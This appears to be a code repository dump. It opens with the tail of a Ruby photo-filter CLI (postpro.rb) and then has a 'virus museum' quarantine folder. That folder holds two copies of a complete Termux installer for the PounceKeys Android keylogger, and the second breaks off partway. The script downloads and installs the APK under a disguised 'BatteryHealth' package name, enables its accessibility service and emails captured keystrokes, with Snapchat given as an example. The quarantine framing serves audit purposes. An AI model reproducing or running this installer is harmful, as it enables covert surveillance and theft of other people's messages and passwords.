random_fx(image, effects, mode)\n  result = image\n  effects.each do |fx|\n    intensity = mode == 'experimental' ? rand(0.5..1.5) : rand(0.3..0.8)\n    result = case fx\n             when 'grain' then grain_basic(result, intensity)\n             when 'leaks' then leaks_basic(result, intensity)\n             when 'sepia' then sepia_basic(result, intensity)\n             when 'bloom' then bloom_basic(result, intensity)\n             when 'teal_orange' then teal_orange(result, intensity)\n             when 'cross' then cross_basic(result, intensity)\n             when 'vhs' then vhs_basic(result, intensity)\n             when 'chroma' then chroma_basic(result, intensity)\n             when 'glitch' then glitch_basic(result, intensity)\n             when 'flare' then flare_basic(result, intensity)\n             else result\n             end\n  end\n  result\nend\n\ndef grain_basic(image, intensity)\n  noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 25 * intensity)\n  safe_cast(image + rgb_bands(noise) * 0.2)\nend\n\ndef leaks_basic(image, intensity)\n  overlay = Vips::Image.black(image.width, image.height, bands: 3)\n  rand(2..5).times do\n    x, y = rand(image.width), rand(image.height)\n    radius = image.width / rand(2..4)\n    color = [255 * intensity, 180 * intensity, 80 * intensity]\n    overlay = overlay.draw_circle(color, x, y, radius, fill: true)\n  end\n  safe_cast(image + overlay.gaussblur(15 * intensity) * 0.3)\nend\n\ndef sepia_basic(image, intensity)\n  matrix = [0.9, 0.7, 0.2, 0.3, 0.8, 0.1, 0.2, 0.6, 0.1]\n  sepia = image.recomb(matrix)\n  safe_cast(image.cast(\"float\") * (1.0 - intensity) + sepia.cast(\"float\") * intensity)\nend\n\ndef bloom_basic(image, intensity)\n  bright = image.linear([1.8 * intensity], [0]).gaussblur(12 * intensity)\n  safe_cast(image + bright * 0.3)\nend\n\ndef cross_basic(image, intensity)\n  r, g, b = image.bandsplit\n  r = r.linear([1 + 0.2 * intensity], [10 * intensity])\n  g = g.linear([1 - 0.1 * intensity], [0])\n  b = b.linear([1 + 0.3 * intensity], [-5 * intensity])\n  safe_cast(Vips::Image.bandjoin([r, g, b]))\nend\n\ndef vhs_basic(image, intensity)\n  noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 40 * intensity))\n  lines = rgb_bands(Vips::Image.sines(image.width, image.height).linear(0.3 * intensity, 150))\n  safe_cast(image + noise * 0.4 + lines * 0.3)\nend\n\ndef chroma_basic(image, intensity)\n  shift = 3 * intensity\n  r, g, b = image.bandsplit\n  r = r.embed(shift, 0, image.width, image.height)\n  b = b.embed(-shift, 0, image.width, image.height)\n  safe_cast(Vips::Image.bandjoin([r, g, b]))\nend\n\ndef glitch_basic(image, intensity)\n  r, g, b = image.bandsplit\n  shift = (15 * intensity).round\n  r = r.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)\n  g = g.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)\n  b = b.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)\n  noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 20 * intensity))\n  safe_cast(Vips::Image.bandjoin([r, g, b]) + noise * 0.4)\nend\n\ndef flare_basic(image, intensity)\n  flare = Vips::Image.black(image.width, image.height, bands: 3)\n  rand(3..6).times do\n    x, y = rand(image.width), rand(image.height)\n    length = 200 * intensity\n    flare = flare.draw_line([255, 220, 180], x, y, x + length, y)\n  end\n  safe_cast(image + flare.gaussblur(8 * intensity) * 0.3)\nend\n\nRECIPE_ALLOWED = %w[\n  grain film_curve highlight_roll shadow_lift micro_contrast color_separate\n  chromatic_aberration vintage_lens split_toning split_grade bleach_bypass\n  push_pull halation optical_blur tonemap dir_coupler spectral_temp color_temp\n  skin_protect desaturate warmth green_push cross_fade infrared cyanotype\n  lith_print technicolor kodachrome_sim faded_print base_tint dual_base_density\n  reciprocity_failure bloom_pro teal_orange grain_basic leaks_basic sepia_basic\n  bloom_basic cross_basic vhs_basic chroma_basic glitch_basic flare_basic\n  emulsion_defocus adjacency_effects longitudinal_ca lens_distortion bokeh_rendering\n  anamorphic_flare diffraction_blur scan_noise newton_rings dust_and_hair\n  film_curl_vignette selenium_tone dye_fade darkroom_print film_base_density\n  paper_texture dodgeburn_artifacts fixing_bath_fog reticulation expired_film\n  gate_weave lens_ghosting ortho_film tilt_shift\n  adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen\n].freeze\n\ndef recipe(image, recipe_data)\n  result = image\n  recipe_data.each do |fx, params|\n    intensity = params.is_a?(Hash) ? params[\"intensity\"].to_f : params.to_f\n    method = fx.gsub(\"_professional\", \"\")\n    result = (RECIPE_ALLOWED.include?(method) &amp;&amp; respond_to?(method)) ? send(method, result, intensity) : result\n  end\n  result\nend\n\n# Export a 3D LUT (.cube) for a preset. size\u00b3 lattice points; 17 is standard\n# for color-grading workflows, 33 for higher precision.\ndef export_lut(preset_name, path, size = 17)\n  step = 1.0 / (size - 1)\n  lines = [\"LUT_3D_SIZE #{size}\", \"DOMAIN_MIN 0.0 0.0 0.0\", \"DOMAIN_MAX 1.0 1.0 1.0\", \"\"]\n  size.times do |bi|\n    size.times do |gi|\n      size.times do |ri|\n        pix = Vips::Image.black(1, 1, bands: 3) + [ri * step * 255, gi * step * 255, bi * step * 255]\n        out = preset(pix.cast(\"uchar\"), preset_name)\n        ro = out.extract_band(0).avg / 255.0\n        go = out.extract_band(1).avg / 255.0\n        bo = out.extract_band(2).avg / 255.0\n        lines &lt;&lt; \"%.6f %.6f %.6f\" % [ro.clamp(0, 1), go.clamp(0, 1), bo.clamp(0, 1)]\n      end\n    end\n  end\n  File.write(path, lines.join(\"\\n\") + \"\\n\")\n  $cli_logger.info \"LUT exported: #{path} (#{size}^3)\"\nrescue StandardError =&gt; e\n  $cli_logger.error \"export_lut failed: #{e.message}\"\nend\n\n# Introspection\ndef describe_preset(name)\n  p = PRESETS[name.to_sym] or return \"unknown preset: #{name}\"\n  stock = STOCKS[p[:stock]]\n  [\n    \"#{name}: #{p[:stock]} / #{p.fetch(:temp, \"?\")}K / intensity #{p[:intensity]}\",\n    \"fx: #{p[:fx].join(\" \u2192 \")}\",\n    stock ? \"grain \u03c3=#{stock[:grain]}\" : nil\n  ].compact.join(\"\\n\")\nend\n\ndef list_presets = PRESETS.keys.map { |k| describe_preset(k) }.join(\"\\n\\n\")\ndef list_stocks  = STOCKS.keys.join(\", \")\ndef list_lenses  = LENSES.keys.join(\", \")\n\n# CSS filter string approximating a preset \u2014 for lightweight web previews.\ndef css_filter(preset_name = :portrait)\n  p = PRESETS[preset_name.to_sym] || PRESETS[:portrait]\n  stock = STOCKS[p[:stock]] || {}\n  hd = stock[:hd] || {}\n  contrast = (1 + ((hd[:r]&amp;.last || 1.0) - 1.0) * 0.25).round(2)\n  saturate  = p[:fx].include?(\"teal_orange\") ? 1.20 :\n              p[:fx].include?(\"desaturate\")  ? 0.65 : 1.0\n  parts = [\"contrast(#{contrast})\", \"saturate(#{saturate})\"]\n  parts &lt;&lt; \"sepia(0.12)\"    if %i[kodak_portra kodak_vision3_50d].include?(p[:stock])\n  parts &lt;&lt; \"grayscale(0.9)\" if p[:stock] == :tri_x\n  parts.join(\" \")\nend\n\n# Repligen Integration\ndef check_repligen\n  return unless REPLIGEN_PRESENT\n\n  $cli_logger.info 'Repligen detected! Auto-processing generated images...'\n\n  recent_files = Dir.glob('*_generated_*.{jpg,jpeg,png,webp}')\n                    .select { |f| File.mtime(f) &gt; (Time.now - 300) }\n\n  if recent_files.any?\n    $cli_logger.info \"Found #{recent_files.count} recent Repligen outputs\"\n    preset_name = PROMPT ? PROMPT.select(\"Choose preset for Repligen outputs:\", PRESETS.keys) : (CONFIG[\"default_preset\"] || \"portrait\")\n    recent_files.each { |file| process_file(file, 2, preset_name) }\n  end\nend\n\ndef preset_chain(image, names)\n  names.reduce(image) { |img, name| preset(img, name) }\nend\n\ndef process_file(file, variations, preset_name = nil, recipe_data = nil, random_effects = nil, mode = \"professional\")\n  image = load_image(file)\n  return 0 unless image\n\n  # Apply camera profile first if enabled\n  if CONFIG[\"apply_camera_profile_first\"]\n    profile = get_camera_profile(image)\n    if profile\n      image = apply_camera_profile(image, profile)\n      PostproBootstrap.dmesg \"camera_profile src=#{File.basename(file)}\"\n    end\n  end\n\n  processed_count = 0\n  variations.times do |i|\n    begin\n      processed = if preset_name\n                     preset(image, preset_name)\n                   elsif recipe_data\n                     recipe(image, recipe_data)\n                   elsif random_effects\n                     random_fx(image, random_effects, mode)\n                   else\n                     next\n                   end\n\n      next unless processed\n\n      processed = grain(processed, 400, :kodak_portra, 0.35)\n      processed = rgb_bands(processed)\n      timestamp = Time.now.strftime(\"%Y%m%d%H%M%S\")\n      suffix = preset_name || \"processed\"\n      output = file.sub(File.extname(file), \"_#{suffix}_v#{i + 1}_#{timestamp}#{File.extname(file)}\")\n\n      quality = CONFIG[\"jpeg_quality\"] || 95\n      if ARGV.include?(\"--tiff16\") || output.end_with?(\".tif\", \".tiff\")\n        processed.cast(\"ushort\").write_to_file(output.sub(/\\.(jpg|jpeg|png)$/i, \".tif\"))\n      else\n        processed.write_to_file(output, Q: quality)\n      end\n      PostproBootstrap.dmesg \"write out=#{File.basename(output)} q=#{quality}\"\n      processed_count += 1\n\n    rescue StandardError =&gt; e\n      $logger.error \"Variation #{i + 1} failed: #{e.message}\"\n    end\n  end\n\n  processed_count\nend\n\n# Main Workflow\ndef get_input\n  $cli_logger.info \"postpro.rb v18.0.0 full-analog#{REPLIGEN_PRESENT ? \" repligen=active\" : \"\"}\"\n\n  check_repligen if REPLIGEN_PRESENT\n\n  if PROMPT\n    workflow = PROMPT.select(\"Choose workflow:\", [\n      \"Masterpiece Presets (Recommended)\",\n      \"Random Effects (Experimental)\",\n      \"Custom JSON Recipe\"\n    ])\n\n    patterns = PROMPT.ask(\"File patterns:\", default: \"**/*.{jpg,jpeg,png,webp}\").strip.split(\",\").map(&amp;:strip)\n    variations = PROMPT.ask(\"Variations per image:\", convert: :int, default: CONFIG[\"variations\"] || 2) { |q| q.in(\"1-5\") }\n\n    case workflow\n    when \"Masterpiece Presets (Recommended)\"\n      preset_name = PROMPT.select(\"Choose preset:\", PRESETS.keys)\n      [patterns, variations, { type: :preset, preset: preset_name }]\n\n    when \"Random Effects (Experimental)\"\n      mode = PROMPT.select(\"Mode:\", [\"Professional\", \"Experimental\"])\n      fx_count = PROMPT.ask(\"Effects per variation:\", convert: :int, default: 4) { |q| q.in(\"2-8\") }\n      [patterns, variations, { type: :random, mode: mode.downcase, fx: fx_count }]\n\n    when \"Custom JSON Recipe\"\n      file = PROMPT.ask(\"Recipe file path:\").strip\n      recipe_data = File.exist?(file) ? JSON.parse(File.read(file)) : {}\n      [patterns, variations, { type: :recipe, recipe: recipe_data }]\n    end\n  else\n    # Fallback mode without tty-prompt\n    patterns = [\"**/*.{jpg,jpeg,png,webp}\"]\n    variations = CONFIG[\"variations\"] || 2\n    preset_name = CONFIG[\"default_preset\"] || \"portrait\"\n    [patterns, variations, { type: :preset, preset: preset_name }]\n  end\nend\n\ndef auto_mode\n  PostproBootstrap.dmesg \"auto mode enabled\"\n  patterns = [\"**/*.{jpg,jpeg,png,webp}\"]\n  variations = CONFIG[\"variations\"] || 2\n  preset_name = CONFIG[\"default_preset\"] || \"portrait\"\n\n  [patterns, variations, { type: :preset, preset: preset_name }]\nend\n\ndef argv_flag(flag)\n  idx = ARGV.index(flag)\n  idx &amp;&amp; ARGV[idx + 1]\nend\n\n# One-shot mode for programmatic use:\n#   ruby postpro.rb --input in.jpg --output out.jpg --preset portrait\ndef one_shot_mode?\n  argv_flag(\"--input\") &amp;&amp; argv_flag(\"--output\") &amp;&amp; argv_flag(\"--preset\")\nend\n\ndef introspect_mode?\n  (ARGV &amp; %w[--list-presets --list-stocks --list-lenses --describe-preset --css-filter --export-lut]).any?\nend\n\ndef run_introspect\n  if ARGV.include?(\"--list-presets\")\n    puts list_presets\n  elsif ARGV.include?(\"--list-stocks\")\n    puts list_stocks\n  elsif ARGV.include?(\"--list-lenses\")\n    puts list_lenses\n  elsif (name = argv_flag(\"--describe-preset\"))\n    puts describe_preset(name)\n  elsif (name = argv_flag(\"--css-filter\"))\n    puts css_filter(name.to_sym)\n  elsif (name = argv_flag(\"--export-lut\"))\n    out = argv_flag(\"--output\") || \"#{name}.cube\"\n    size = (argv_flag(\"--size\") || \"17\").to_i\n    export_lut(name.to_sym, out, size)\n  end\nend\n\ndef run_one_shot\n  input_path = argv_flag(\"--input\")\n  output_path = argv_flag(\"--output\")\n  preset_name = argv_flag(\"--preset\").to_sym\n\n  unless File.exist?(input_path)\n    $cli_logger.error \"Input not found: #{input_path}\"\n    exit 1\n  end\n  unless PRESETS.key?(preset_name)\n    $cli_logger.error \"Unknown preset: #{preset_name}. Valid: #{PRESETS.keys.join(\", \")}\"\n    exit 1\n  end\n\n  image = load_image(input_path)\n  unless image\n    $cli_logger.error \"Failed to load: #{input_path}\"\n    exit 1\n  end\n\n  processed = preset(image, preset_name)\n  processed = rgb_bands(processed)\n  quality = CONFIG[\"jpeg_quality\"] || 95\n  processed.write_to_file(output_path, Q: quality)\n  $cli_logger.info \"ok preset=#{preset_name} out=#{output_path}\"\nend\n\ndef watch_mode?\n  ARGV.include?(\"--watch\")\nend\n\ndef random_mode?\n  ARGV.include?(\"--random\")\nend\n\n# Resolve the best available downloads directory on Android/Termux or desktop.\ndef downloads_dir\n  candidates = [\n    argv_flag(\"--random\"),\n    File.expand_path(\"~/storage/downloads\"),\n    \"/sdcard/Download\",\n    File.expand_path(\"~/Downloads\"),\n    Dir.pwd\n  ]\n  candidates.compact.find { |d| File.directory?(d) }\nend\n\n# --random [DIR] [experimental]\n# Without \"experimental\": random preset per file (uplift \u2014 maximally cinematic).\n# With \"experimental\": chaotic short random chains (happy accidents).\ndef run_random\n  experimental = ARGV.include?(\"experimental\")\n  dir = downloads_dir\n  files = Dir.glob(File.join(dir, \"**\", \"*.{jpg,jpeg,JPG,JPEG,png,PNG,webp,WEBP}\"))\n             .reject { |f| File.basename(f).match?(/processed|masterpiece|postpro|_v\\d+_/) }\n\n  if files.empty?\n    $cli_logger.error \"No images in #{dir}\"\n    return\n  end\n\n  PostproBootstrap.dmesg \"random dir=#{dir} files=#{files.count} mode=#{experimental ? 'experimental' : 'uplift'}\"\n  count = (argv_flag(\"--count\") || argv_flag(\"-n\") || 4).to_i.clamp(1, 6)\n  uplift_presets = %i[portrait cinematic magic_hour blockbuster golden_age reversal\n                      warmth noir masterpiece anamorphic aged_kodachrome analog_scan\n                      cinema_scan nitrate fiber_print expired reticulated ortho\n                      tilt_shift_look haunted quality_uplift]\n\n  files.each_with_index do |file, index|\n    $cli_logger.info \"#{index + 1}/#{files.count}: #{File.basename(file)}\"\n    begin\n      if experimental\n        fx_pool = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]\n        count.times do\n          effects = fx_pool.shuffle.take(rand(4..7))\n          process_file(file, 1, nil, nil, effects, \"experimental\")\n        end\n      else\n        pool = uplift_presets.shuffle\n        count.times do |i|\n          base = pool[i % pool.size]\n          layer = (pool - [base]).sample\n          image = load_image(file)\n          next unless image\n          processed = preset_chain(image, [base, layer])\n          processed = grain(processed, 400, :kodak_portra, 0.35)\n          processed = rgb_bands(processed)\n          timestamp = Time.now.strftime(\"%Y%m%d%H%M%S\")\n          output = file.sub(File.extname(file), \"_#{base}+#{layer}_v#{i + 1}_#{timestamp}#{File.extname(file)}\")\n          quality = CONFIG[\"jpeg_quality\"] || 95\n          processed.write_to_file(output, Q: quality)\n          PostproBootstrap.dmesg \"write chain=#{base}+#{layer} out=#{File.basename(output)}\"\n        end\n      end\n      GC.start if (index % 5).zero?\n    rescue StandardError =&gt; e\n      $cli_logger.error \"Error #{File.basename(file)}: #{e.message}\"\n    end\n  end\nend\n\ndef run_watch\n  dir     = argv_flag(\"--watch\") || \"/sdcard/DCIM/Camera\"\n  preset_name = (argv_flag(\"--preset\") || \"cinematic\").to_sym\n  unless PRESETS.key?(preset_name)\n    $cli_logger.error \"Unknown preset: #{preset_name}\"\n    exit 1\n  end\n  seen    = Dir.glob(File.join(dir, \"IMG_*.{jpg,jpeg,JPG,JPEG}\")).map { |f| [f, File.mtime(f)] }.to_h\n  PostproBootstrap.dmesg \"watch dir=#{dir} preset=#{preset_name} known=#{seen.size}\"\n  loop do\n    sleep 2\n    Dir.glob(File.join(dir, \"IMG_*.{jpg,jpeg,JPG,JPEG}\")).each do |path|\n      mtime = File.mtime(path)\n      next if seen[path] == mtime\n      seen[path] = mtime\n      next if File.size(path) &lt; 50_000\n      ext  = File.extname(path)\n      base = File.basename(path, ext)\n      out  = File.join(dir, \"#{base}_#{preset_name}#{ext}\")\n      PostproBootstrap.dmesg \"new path=#{File.basename(path)} -&gt; #{File.basename(out)}\"\n      begin\n        image     = load_image(path)\n        processed = preset(image, preset_name)\n        processed = rgb_bands(processed)\n        processed.write_to_file(out, Q: CONFIG[\"jpeg_quality\"] || 95)\n        $cli_logger.info \"ok preset=#{preset_name} out=#{out}\"\n      rescue StandardError =&gt; e\n        $cli_logger.error \"watch error: #{e.message}\"\n      end\n    end\n  end\nend\n\ndef auto_launch\n  return run_introspect if introspect_mode?\n  return run_watch       if watch_mode?\n  return run_one_shot    if one_shot_mode?\n  return run_random      if random_mode?\n  if ARGV.include?(\"--auto\") || (!$stdin.tty? &amp;&amp; ARGV.include?(\"--from-repligen\"))\n    input = auto_mode\n  elsif ARGV.include?(\"--from-repligen\") &amp;&amp; REPLIGEN_PRESENT\n    check_repligen\n    return\n  else\n    input = get_input\n  end\n\n  return unless input\n\n  patterns, variations, config = input\n\n  files = patterns.flat_map { |pattern| Dir.glob(pattern) }\n                  .reject { |f| File.basename(f).match?(/processed|masterpiece/) }\n\n  if files.empty?\n    $cli_logger.error \"No files matched patterns!\"\n    return\n  end\n\n  $cli_logger.info \"Processing #{files.count} files...\"\n  total_processed = 0\n  total_variations = 0\n  start_time = Time.now\n\n  files.each_with_index do |file, i|\n    begin\n      $cli_logger.info \"#{i + 1}/#{files.count}: #{File.basename(file)}\"\n\n      count = case config[:type]\n              when :preset\n                process_file(file, variations, config[:preset])\n              when :random\n                fx = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]\n                selected = config[:mode] == \"experimental\" ? fx : fx.first(6)\n                random_effects = selected.shuffle.take(config[:fx])\n                process_file(file, variations, nil, nil, random_effects, config[:mode])\n              when :recipe\n                process_file(file, variations, nil, config[:recipe])\n              else\n                0\n              end\n\n      total_processed += 1 if count &gt; 0\n      total_variations += count\n      GC.start if (i % 10).zero?\n\n    rescue StandardError =&gt; e\n      $logger.error \"Failed #{file}: #{e.message}\"\n      $cli_logger.error \"Error: #{File.basename(file)}\"\n    end\n  end\n\n  duration = (Time.now - start_time).round(2)\n  $cli_logger.info \"Complete! #{total_processed} files \u2192 #{total_variations} masterpieces (#{duration}s)\"\n\n  if REPLIGEN_PRESENT &amp;&amp; total_variations &gt; 0\n    $cli_logger.info \"Tip: Run 'ruby repligen.rb' to generate more content!\"\n  end\nend\n\nauto_launch if __FILE__ == $0\n```\n\n## `quarantine/virus_museum/README.md`\n```markdown\n# Virus Museum\n\nQuarantined artifacts live here as inert reference samples.\n\nRules:\n\n- Do not execute files from this directory.\n- Do not wire these files into deploy scripts.\n- Keep samples as `.txt` unless a test fixture requires another extension.\n- Preserve provenance and security context when moving a sample here.\n```\n\n## `quarantine/virus_museum/pklog.sh.txt`\n```text\n# Quarantined sample: non-executable reference only.\n# Original path: DEPLOY/sh/tools/pouncekeys/pklog.sh\n# Reason: keylogger installer content; kept only for audit/provenance.\n# Do not run, source, deploy, or rename into an executable extension.\n\n#!/bin/bash\n\n#!/data/data/com.termux/files/usr/bin/zsh\n\n# PounceKeys Installation and Setup Script\n# Purpose: Automates PounceKeys keylogger setup on Android via Termux\n# Features: Dependency installation, APK download, manual step guidance, email configuration\n# Security: No root, minimal permissions, checksum verification\n# Last updated: June 19, 2025\n# Legal: For personal use on your own device only; unauthorized use is illegal\n\n# Configuration\nreadonly LOG_FILE=\"$HOME/pouncekeys_setup.log\"\nreadonly APK_FILE=\"$HOME/pouncekeys.apk\"\nreadonly APK_URL=\"https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk\"\nreadonly FALLBACK_URL=\"https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk\"\nreadonly PACKAGE_NAME=\"com.BatteryHealth\"\nreadonly MIN_ANDROID_VERSION=5\nreadonly MAX_ANDROID_VERSION=15\nreadonly EXPECTED_CHECKSUM=\"expected_sha256_hash_here\" # Replace with actual SHA256 from PounceKeys GitHub\n\n# Initialize logging\n[[ -f \"$LOG_FILE\" &amp;&amp; $(stat -f %z \"$LOG_FILE\") -gt 1048576 ]] &amp;&amp; mv \"$LOG_FILE\" \"${LOG_FILE}.old\"\necho \"PounceKeys Setup Log - $(date)\" &gt; \"$LOG_FILE\"\nexec 1&gt;&gt;\"$LOG_FILE\" 2&gt;&amp;1\n\n# Cleanup on exit\ntrap 'rm -f \"$APK_FILE\"; log_and_toast \"Script terminated, cleaned up.\"; exit 1' INT TERM\n\n# Log and toast function\nlog_and_toast() {\n    echo \"[$(date +%H:%M:%S)] $1\"\n    termux-toast -s \"$1\" &gt;/dev/null 2&gt;&amp;1\n}\n\n# Legal disclaimer\nlog_and_toast \"Starting PounceKeys setup\"\necho \"WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR).\"\necho \"Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs.\"\necho \"Press Y to confirm legal use, any other key to cancel...\"\nread -k 1 confirm\n[[ \"$confirm\" != \"Y\" &amp;&amp; \"$confirm\" != \"y\" ]] &amp;&amp; { log_and_toast \"Setup cancelled.\"; exit 0; }\n\n# Check prerequisites\nlog_and_toast \"Checking internet...\"\nping -c 1 google.com &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: No internet.\"\n    echo \"Solution: Connect to Wi-Fi or data. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Termux...\"\ncommand -v pkg &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: Termux not installed.\"\n    echo \"Solution: Install Termux from F-Droid.\"\n    exit 1\n}\n\n# Install dependencies\nlog_and_toast \"Installing dependencies...\"\necho \"Install wget, curl, adb, termux-api, android-tools? (Y/N)\"\nread -k 1 install_deps\n[[ \"$install_deps\" == \"Y\" || \"$install_deps\" == \"y\" ]] &amp;&amp; {\n    pkg update -y &amp;&amp; pkg install -y wget curl termux-adb termux-api android-tools || {\n        log_and_toast \"Error: Package installation failed.\"\n        echo \"Solution: Check network, run 'pkg update' manually. Retry? (Y/N)\"\n        read -k 1 retry\n        [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n        exit 1\n    }\n}\n\n# Validate environment\nlog_and_toast \"Checking ADB...\"\nadb devices | grep -q device || {\n    log_and_toast \"Error: No device detected.\"\n    echo \"Solution: Enable USB debugging in Settings &gt; Developer Options. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Android version...\"\nANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)\n[[ \"$ANDROID_VERSION\" -lt $MIN_ANDROID_VERSION || \"$ANDROID_VERSION\" -gt $MAX_ANDROID_VERSION ]] &amp;&amp; {\n    log_and_toast \"Error: Android version $ANDROID_VERSION unsupported.\"\n    echo \"Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION.\"\n    exit 1\n}\n\n# Email configuration\nlog_and_toast \"Configuring email...\"\necho \"Use Gmail? (Y/N)\"\nread -k 1 use_gmail\nif [[ \"$use_gmail\" == \"Y\" || \"$use_gmail\" == \"y\" ]]; then\n    SMTP_SERVER=\"smtp.gmail.com\"\n    SMTP_PORT=\"587\"\n    echo \"Enter Gmail address:\"\n    read smtp_user\n    echo \"Enter Gmail App Password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nelse\n    echo \"Enter SMTP server:\"\n    read SMTP_SERVER\n    echo \"Enter SMTP port:\"\n    read SMTP_PORT\n    echo \"Enter SMTP username:\"\n    read smtp_user\n    echo \"Enter SMTP password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nfi\n\n# Download and verify APK\nlog_and_toast \"Downloading APK...\"\nwget -O \"$APK_FILE\" \"$APK_URL\" || wget -O \"$APK_FILE\" \"$FALLBACK_URL\" || {\n    log_and_toast \"Error: Download failed.\"\n    echo \"Solution: Check network or download from PounceKeys GitHub.\"\n    exit 1\n}\n\nlog_and_toast \"Verifying APK...\"\nACTUAL_CHECKSUM=$(sha256sum \"$APK_FILE\" | awk '{print $1}')\n[[ \"$ACTUAL_CHECKSUM\" != \"$EXPECTED_CHECKSUM\" ]] &amp;&amp; {\n    log_and_toast \"Error: Checksum mismatch.\"\n    echo \"Solution: Delete $APK_FILE and retry.\"\n    rm -f \"$APK_FILE\"\n    exit 1\n}\n\n# Install APK\nlog_and_toast \"Installing APK...\"\necho \"Enable 'Install from Unknown Sources' in Settings &gt; Security.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\nadb install \"$APK_FILE\" || {\n    log_and_toast \"Error: Installation failed.\"\n    echo \"Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\nrm -f \"$APK_FILE\"\n\n# Configure PounceKeys\nlog_and_toast \"Enable accessibility service...\"\necho \"Go to Settings &gt; Accessibility &gt; PounceKeys, toggle ON.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\n\nlog_and_toast \"Disable battery optimization...\"\necho \"Go to Settings &gt; Battery &gt; App Optimization, set PounceKeys to 'Don\u2019t optimize.'\"\necho \"Press Enter after disabling...\"\nread -p \"\"\n\nlog_and_toast \"Configure email in PounceKeys...\"\necho \"Open PounceKeys, go to Settings &gt; Output &gt; Email, enter:\"\necho \"- Server: $SMTP_SERVER\"\necho \"- Port: $SMTP_PORT\"\necho \"- Username: $smtp_user\"\necho \"- Password: [your password]\"\necho \"- Recipient: $recipient_email\"\necho \"Press Enter after configuring...\"\nread -p \"\"\n\n# Validation\nlog_and_toast \"Setup complete!\"\necho \"Test by typing 'PounceKeys test' in any app.\"\necho \"Check $recipient_email for logs within 10 minutes.\"\necho \"Troubleshooting:\"\necho \"- No logs? Verify SMTP settings and accessibility.\"\necho \"- Uninstall: adb uninstall $PACKAGE_NAME\"\necho \"Log file: $LOG_FILE\"\n```\n\n## `quarantine/virus_museum/pouncekeys_setup.zsh.txt`\n```text\n# Quarantined sample: non-executable reference only.\n# Original path: DEPLOY/sh/tools/pouncekeys/pouncekeys_setup.rb\n# Reason: keylogger installer content; kept only for audit/provenance.\n# Do not run, source, deploy, or rename into an executable extension.\n\n# frozen_string_literal: true\n\n#!/data/data/com.termux/files/usr/bin/zsh\n\n# PounceKeys Installation and Setup Script\n# Purpose: Automates PounceKeys keylogger setup on Android via Termux\n# Features: Dependency installation, APK download, manual step guidance, email configuration\n# Security: No root, minimal permissions, checksum verification\n# Last updated: June 25, 2025\n# Legal: For personal use on your own device only; unauthorized use is illegal\n# $ref: master.json#/settings/core/comments_policy\n\n# Configuration (readonly for POLA)\n# $ref: master.json#/settings/optimization_patterns/enforce_least_privilege\nreadonly LOG_FILE=\"$HOME/pouncekeys_setup.log\"\nreadonly APK_FILE=\"$HOME/pouncekeys.apk\"\nreadonly APK_URL=\"https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk\"\nreadonly FALLBACK_URL=\"https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk\"\nreadonly PACKAGE_NAME=\"com.BatteryHealth\"\nreadonly MIN_ANDROID_VERSION=5\nreadonly MAX_ANDROID_VERSION=15\nreadonly EXPECTED_CHECKSUM=\"expected_sha256_hash_here\" # Replace with actual SHA256 from PounceKeys GitHub\n\n# Initialize logging (DRY, KISS)\n# $ref: master.json#/settings/communication/notification_policy\n[[ -f \"$LOG_FILE\" &amp;&amp; $(stat -f %z \"$LOG_FILE\") -gt 1048576 ]] &amp;&amp; mv \"$LOG_FILE\" \"${LOG_FILE}.old\"\necho \"PounceKeys Setup Log - $(date)\" &gt; \"$LOG_FILE\"\nexec 1&gt;&gt;\"$LOG_FILE\" 2&gt;&amp;1\n\n# Cleanup on exit (POLA, error recovery)\n# $ref: master.json#/settings/core/task_templates/refine\ntrap 'rm -f \"$APK_FILE\"; log_and_toast \"Script terminated, cleaned up.\"; exit 1' INT TERM\n\n# Log and toast function (DRY, NNGroup visibility)\n# $ref: master.json#/settings/communication/style\nlog_and_toast() {\n    echo \"[$(date +%H:%M:%S)] $1\"\n    termux-toast -s \"$1\" &gt;/dev/null 2&gt;&amp;1\n}\n\n# Legal disclaimer (NNGroup user control, YAGNI)\n# $ref: master.json#/settings/feedback/roles/lawyer\nlog_and_toast \"Starting PounceKeys setup\"\necho \"WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR).\"\necho \"Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs.\"\necho \"Press Y to confirm legal use, any other key to cancel...\"\nread -k 1 confirm\n[[ \"$confirm\" != \"Y\" &amp;&amp; \"$confirm\" != \"y\" ]] &amp;&amp; { log_and_toast \"Setup cancelled.\"; exit 0; }\n\n# Check prerequisites 